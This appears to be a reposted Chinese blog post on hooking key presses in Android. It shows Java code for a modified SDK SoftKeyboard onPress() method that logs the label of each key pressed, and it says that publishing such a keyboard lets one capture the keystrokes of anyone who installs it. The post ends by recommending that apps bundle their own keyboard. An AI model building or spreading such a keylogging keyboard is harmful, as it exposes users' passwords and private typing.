android键盘钩子 android按键劫持

来源:互联网 发布:mysql官网无法访问 编辑:程序博客网 时间:2024/05/17 05:54

实现按键钩子,一般可以在框架,linux内核等上面进行,这次主要是在应用层实现的。

方案为:

获取android sdk提供的com_example_android_softkeyboard例子程序,然后,修改OnPress()

函数就可以实现了。如果把这个恶意的软键盘发布出去,人家安装了之后,我们还是可以截获到按键信息的。


public void onPress(int primaryCode) {
        int            iKeyboardResId;
        
        int            iCode;
        String         sLabel;
        String            name ;
        LatinKeyboard  CurrentKeyboard;
        StringBuilder  sb = new StringBuilder("");
        //android.os.Debug.waitForDebugger();
        if(mInputView == null)
            return;
        Keyboard currentKeyboard = mInputView.getKeyboard();
        CurrentKeyboard = (LatinKeyboard)currentKeyboard;
        iKeyboardResId = CurrentKeyboard.mXmlResId;
        //Log.d("XL: onPress rid", String.valueOf(iKeyboardResId));
        XmlResourceParser parser = getResources().getXml(iKeyboardResId);
        int eventCode;
        
        try
        {  
            eventCode = parser.getEventType();
            while (eventCode != XmlResourceParser.END_DOCUMENT)
            {
               //如果是开始标签  
               if (eventCode == XmlResourceParser.START_TAG)
               {  
                       //获取标签名称  
                        name = parser.getName();  
                      //  Log.d("XL: onPress LableName", name);
                        //判断标签名称是否等于key  
                        if(name.equals("Key"))
                        {  
                            
                            //获得标签属
                            sLabel = parser.getAttributeNamespace(0);
                            sLabel = parser.getAttributeValue(sLabel, "codes");
                            //iCode = parser.getAttributeIntValue(0, -1);
                            //Log.d("XL: onPress keyCode", String.valueOf(iCode));
                            //Log.d("XL: onPress keyCode primaryCode", String.valueOf(primaryCode));
                            iCode = Integer.parseInt(sLabel);
                            if(  iCode == primaryCode)
                            {
                            
                                sLabel = parser.getAttributeNamespace(0);
                                sLabel = parser.getAttributeValue(sLabel, "keyLabel");
                                
                                //Log.d("XL: onPress keyCode", String.valueOf(iCode));
                                //Log.d("XL: onPress keylabel", sLabel);
                                
                                sb.append("你按下的是: " + sLabel + "键" + "\n");
                                break;
                            }
                               
                        }  
               }
               else if (eventCode == XmlPullParser.END_TAG)
               {   
                    
               }
               else if (eventCode == XmlPullParser.TEXT)
               {   
                    
               }   
             //下一个标签  
             eventCode = parser.next();   
          }  //while
       }
       catch (XmlPullParserException  e)
       {  
           e.printStackTrace();
       }
       catch (IOException e)
       {  
           e.printStackTrace();  
       }  
        Log.d("[XL]", sb.toString());
   }

所以,相对安全的方式是自己的软件附带软件键盘,而不是用第三方的哦。

原创粉丝点击